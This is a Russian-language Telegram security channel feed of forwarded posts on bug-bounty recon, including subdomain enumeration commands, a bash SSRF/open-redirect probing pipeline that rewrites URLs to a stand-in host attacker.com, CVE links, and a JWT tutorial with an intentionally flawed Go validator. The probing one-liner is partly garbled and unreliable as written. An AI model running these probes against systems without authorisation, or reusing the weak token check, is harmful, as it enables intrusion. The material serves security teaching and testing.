Fsecurity | HH
2.01K subscribers
1.77K photos
108 videos
64 files
6.42K links
Канал про ИБ
Наш Discord: https://discord.gg/Eg8aDS7Hn7
Пожертвовать:
> https://www.donationalerts.com/r/xackapb
Download Telegram
Forwarded from Standoff 365
🔎 Перечисление поддоменов: как расширить поверхность атаки с помощью активных и пассивных методов

Мы решили запустить экспериментальный формат, в котором будем делиться полезными советами от опытных багхантеров — не ежедневно, но регулярно. Начинаем с самой базы — можно унести ее в сохраненки и возвращаться к ней по необходимости. Не забывайте ставить реакции под постом, чтобы мы понимали, был ли материал полезен. А если у вас есть предложения о контенте, не стесняйтесь рассказать об этом в комментариях. Enjoy!

Что делает убитый горем багхантер, который не может найти хоть какую-нибудь зацепку? Правильно — проводит разведку по новой: пассивный и активный поиск поддоменов, брут путей и файлов, использование дорков, исследование используемых в приложении технологий и т. д. Каждая тема здесь достойна отдельного поста, поэтому начнем по порядку с простого — сбора поддоменов.

⭐️ Описанное ниже особенно полезно, когда в скоупе багбаунти-программы есть DNS-записи wildcard (*.domain.tld).

Итак, основная цель — получить как можно больше активов из багбаунти-программы, чтобы сформировать представление об общей поверхности атаки и о работе инфраструктуры.

➡️ Пассивный сбор поддоменов: вы не взаимодействуете с целевым узлом и получаете информацию из открытых источников (DNS-записи, логи сертификатов SSL и TLS или веб-архивы).

Примеры используемых инструментов:

🟢 Censys, Shodan, SecurityTrails, DNSDumpster и другие онлайн-сервисы.

🟢 Инструменты вроде subfinder, amass или waybackurls, которые сами опросят множество публичных баз данных и выведут результат в удобном для вас формате (останется только добавить API-ключи):

$ subfinder -d example.com -oJ domains-example.com.json
или
$ amass enum -d example.com -o domains-amass.example.com.txt -timeout 12 -v


🟢 Google-дорки — это база:

site:*.example.com -site:www.example.com


➡️ Активный сбор поддоменов включает поиск любых поддоменов, которые не проиндексированы публично, но активно используются. Разберемся с ключевыми методами:

🟢 Брутфорс DNS — перебор поддоменов по словарю, который должен быть составлен отдельно исходя из полученных в ходе разведки данных. Про общедоступные словари тоже не стоит забывать (SecLists, fuzzdb, Assetnote Wordlists). Важно не останавливаться на доменах 3-го уровня, а искать дальше. В этом поможет инструмент mksub, с помощью которого можно сгенерировать дополнительные вариации поддоменов:

$ gobuster dns -d example.com -w wordlist.txt
$ mksub -d example.com -l 2 -w dns-wordlist.txt


🟢 Фаззинг виртуальных хостов (vhosts), которые имеют тот же IP-адрес, что и другой домен на веб-сервере. Полезные инструменты для работы — ffuf и wfuzz.

$ ffuf -c -r -u 'https://www.example.com/' -H 'Host: FUZZ.example.com' -w dns-wordlist.txt


🟢 Reverse DNS (rDNS): преобразует IP-адрес в связанное с ним доменное имя. Этот способ особенно полезен при исследовании диапазона целевых IP-адресов. На помощь придут инструменты Linux (dig, host) или общеизвестный dnsx.

$ dig -x 8.8.4.4 +short
$ cat ips.txt | dnsx -ptr -resp-only


➡️ Веб-краулинг с помощью Burp Suite или других инструментов: просто укажите кастомный скоуп, ходите по ссылкам и отслеживайте новые поддомены.

.*\.example\.com$


⭐️ Последняя задача — определить активные веб-узлы и избавиться от фолзов. Самый простой способ — использовать httpx или httprobe. Собираем поддомены в отдельный файл и выполняем:

$ cat domains.txt | httpx -o domains-webserver.txt 
или
$ cat domains.txt | httprobe >> domains-webserver.txt


💡 Хотите еще сильнее упростить себе жизнь? Используйте anew для добавления уникальных строк в файл из stdin. Инструмент выводит новые строки в stdout, что делает его немного похожим на команду tee -a.

P. S. При подготовке вдохновлялись статьей от багбаунти-площадки YesWeHack.
Forwarded from Ralf Hacker Channel (Ralf Hacker)
CVE-2025-23120: Domain-Level RCE in Veeam Backup & Replication

https://labs.watchtowr.com/by-executive-order-we-are-banning-blacklists-domain-level-rce-in-veeam-backup-replication-cve-2025-23120/

Affected Product:
Veeam Backup & Replication 12.3.0.310 and all earlier version 12 builds.

Patched: March 19, 2025

#ad #pentest #redteam #rce
Forwarded from BlackFan
Изучая документацию jadx наткнулся на упоминание, что его можно подключить как библиотеку в свое Java приложение. И эта идея настолько понравилась, что в итоге вылилась в небольшой комбайн, который удобно использовать для первоначальной обработки JAR/WAR/APK приложений при анализе защищенности.

https://github.com/BlackFan/BFScan

BFScan анализирует строковые константы в Java-классах и ресурсах приложения для поиска строк, похожих на URL, пути или захардкоженные секреты.
А также формирует сырые HTTP запросы и OpenAPI спецификацию на основе конфигов, аннотаций методов и классов. При этом поддерживаются как клиентские библиотеки (например, Retrofit), используемые в APK для взаимодействия с бэкендом, так и серверные технологии, такие как Spring-аннотации. Что значительно облегчает тестирование API, когда тело HTTP запроса необходимо сформировать из десятка вложенных классов.

Рассмотрим пример работы утилиты с классом, использующим Spring-аннотации.

@RestController
@RequestMapping("/api")
public class UserController {

@PostMapping("createUser")
public String create(@RequestParam Optional<String> someParamName, @RequestBody User user) {
return "response";
}


В случае, если обрабатываемое приложение использует поддерживаемую библиотеку, утилита сгенерирует файл, содержащий все HTTP запросы, поддерживаемые приложением.
POST /api/createUser?someParamName=value HTTP/1.1
Host: localhost
Connection: close
Content-Type: application/json

{
"name": "name",
"age": 1
}


Приложение удобно использовать как для клиентских приложений, когда вы анализируете API мобильного приложения. Так и в случае, если вы получили скомпилированный JAR/WAR от серверного приложения, для поиска в нем захардкоженных секретов или дальнейшего анализа API эндпоинтов, которое оно обрабатывает.

Если приложение обфусцировано, что часто бывает с APK, утилита проанализирует все аннотации и, если они похожи на типичное объявление API эндпоинтов, построит HTTP запросы на основе них. В случае, если данная функциональность сработала неправильно, используя jadx вы можно легко сформировать mapping-файлы для переименования обфусцированных классов и корректного формирования HTTP-запросов.
Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from PurpleBear (Vadim Shelest)
Всем привет!
Небольшая заметка про поиск SSRF и Open Redirect😁 в составе пайплайнов автоматизации

waybackurls target.com | grep -E "/https?://|=https?://|=/.*" | while read url; do random=(opensslrand−base646∣tr−d ′ /+ ′ );murl=(echo $url | sed -E "s/(/|=)(https?://[^/&?]+)/\1http://attacker.com/$random/g;s/=/[^&]+/=http://attacker.com/$random/g") && echo "Requesting: $murl" && curl -so /dev/null --connect-timeout 5 "$murl"; done

🔴Этот bash скрипт использует утилиту waybackurls, чтобы получить список всех известных url для заданного домена target.com из архива Wayback Machine.
🔴 Фильтрует полученные url c помощью регулярки, оставляя только потенциально уязвимые, которые содержат:
/https://example.com, ?url=http://example.com и ?url=/example
🔴 Для каждого url из списка генерирует случайную строку длиной 6 символов с помощью openssl rand, заворачивает в base64 и удаляет символы / и + на выходе получается что-то такое -a1b2c3
🔴 Модифицирует каждый url, заменяя:
http://example.com на /http://attacker.com/random.
http://example.com на =http://attacker.com/random.
/example на =http://attacker.com/random
🔴 Выводит в консоль модифицированный url перед отправкой запроса либо сохраняет в файл echo "$(date '+%Y-%m-%d %H:%M:%S') Requesting: $murl" | tee -a log.txt
🔴 Отправляет запросы с помощью curl c ограничением время ответа 5 сек, чтобы логировать статус коды ответов можно добавить:
http_code=$(curl -so /dev/null --connect-timeout 5 -w "%{http_code}" "$murl")
echo "$(date '+%Y-%m-%d %H:%M:%S') Response [$http_code] from: $murl" >> responses.txt


В качестве сервера атакующего, чтобы ловить отстуки можно использовать что угодно, начиная от Burp Collaborator до interactsh на своем домене.
👍3
Стэнфордский курс без регистрации и СМС

Я тут на одной из страниц по стажировке в ИБ заметил в подготовительных материалах курс одного из ведущих мировых университетов. Собственно, делюсь – ссылка

Это курс Стэнфорда по веб-безопасности со всеми материалами, ссылками и презентациями. Я бы не сказал, что там вау как интересно, но и глубоко не всматривался. Для базового уровня точно сойдет.

#BaseSecurity

🧠 Твой Пакет Знаний | 👨‍🏫 Менторство ИБ
📂 Другие каналы
Please open Telegram to view this post
VIEW IN TELEGRAM
Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈
Forwarded from Blue (h/c)at Café
Я тебе не верю! JWT, JWS, JWE и Zero Trust

С ростом сложности распределённых систем и микросервисов обеспечение безопасности обмена данными становится не просто задачей, а ключевым условием существования современных приложений. JWT, являясь уже стандартом передачи идентификационных и авторизационных данных, требует глубокого понимания тонкостей своей реализации в первую очередь безопасниками. Особенно это касается применения JWS, JWE и интеграции принципов архитектуры/философии Zero Trust.

JWT – JSON Web Token
JWS – JSON Web Signature
JWE – JSON Web Encryption


✏️ Подпись и целостность токенов

JWS предназначен для защиты целостности и подтверждения подлинности JWT. Важно отметить, что подпись JWS не шифрует содержимое токена, а лишь предотвращает его модификацию.

Основные алгоритмы, применяемые в JWS:
🔵 RS256 (RSA Signature с SHA-256)
🔵 ES256 (ECDSA Signature с SHA-256)

На что стоит обратить внимание при проверке JWS:
🔵 Алгоритм подписи;
🔵 Валидность публичного ключа;
🔵 Корректная валидация всех полей claims (aud, iss, exp и др.).

Частая ошибка, которую допускают разработчики - отсутствие проверки используемого алгоритма, что может привести к атакам типа "none algorithm" или подмене алгоритма подписи.

Пример:

token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
return publicKey, nil
})


🌐 Шифрование чувствительных данных

В отличие от JWS, JWE предназначен для защиты конфиденциальности данных внутри JWT. Использование JWE позволяет гарантировать, что только владелец приватного ключа сможет прочитать данные токена.

При реализации JWE важно обеспечить:
🟢 Надежное управление ключами;
🟢 Правильный выбор алгоритмов (например, RSA-OAEP и AES-GCM);
🟢 Отсутствие утечек ключей и материалов шифрования в логах или памяти.

👮‍♀️ Zero Trust и JWT

Zero Trust требует, чтобы каждый запрос проверялся независимо, не доверяя никаким промежуточным слоям. JWT идеально вписывается в эту модель при некоторых условиях:
🟢 Независимой проверки JWT каждым микросервисом;
🟢 Минимального lifetime токенов;
🟢 Глубокой валидации всех claims и строгой политики доступа.

А в ваших микросервисах всё так ?)

«Безопасность — не продукт, а процесс»

Наверное, одно из моих любимых выражений, которую не понимают многие люди из ИБ


Уязвимый фрагмент кода для анализа

Как я и говорил, что немного меняю подход к обучающим постам, теперь в каждом из них будет идти код с ошибкой (Я могу и сам ошибиться в ошибке, не серчайте 🤪).

Так вот, что тут не так и где беда?


func ValidateToken(tokenString string, publicKey *rsa.PublicKey) (*jwt.Token, error) {
token, err := jwt.Parse(tokenString, func(token *jwt.Token) (interface{}, error) {
if _, ok := token.Method.(*jwt.SigningMethodRSA); !ok {
return nil, fmt.Errorf("Неожиданный алгоритм подписи: %v", token.Header["alg"])
}
return publicKey, nil
})
if err != nil {
return nil, err
}
return token, nil
}


Телеграмм не позволяет делить открытие скрытого текста, поэтому ответ будет отправлен спустя 1 день.

Также мне нужна обратная связь по ЯП. Я умею в Go, Python, немного в Java и JS. Вы не будте против, если при коде на других языках, Вас будет проверять ИИ?

Подсказка:
Обрати внимание на то, что код проверяет только тип алгоритма, но не конкретный алгоритм и не проверяет claims. Почему это может быть критично?


Заключение и краткие рекомендации

Для повышения безопасности JWT необходимо:
🟢 Всегда явно проверять указанный алгоритм подписи (например, RS256);
🟢 Обязательно проверять и валидировать все критически важные claims (iss, aud, exp);
🟢 Использовать JWE для защиты чувствительных данных внутри JWT;
🟢 Следовать Zero Trust модели с обязательной независимой валидацией JWT каждым сервисом.

В заключение мне хочется сказать, что тема JWT стала основным, что я спрашиваю у людей на собеседовании, потому что это БАЗА, которую нужно знать.

#appsec
Please open Telegram to view this post
VIEW IN TELEGRAM
Forwarded from Proxy Bar
CVE-2025-0927
*
Affected Versions
* Linux Kernel, up to 6.12.0
* Ubuntu 22.04 with Linux Kernel 6.5.0-18-generic
/
Большой WriteUP + Source Exploit.c - Linux kernel hfsplus slab-out-of-bounds Write

UPDATE: если совсем коротко то -локальные юзеры (без особых прав) могут устанавливать произвольные файловые системы через Udisks2 из-за правил для Polkit. Включая в себя ФС, чьи монтирования обычно требуют CAP_SYS_ADMIN в init user namespace.

#linux
Discord сервер
👆🏻Тут можно пообщаться и найти много полезной информации 🦈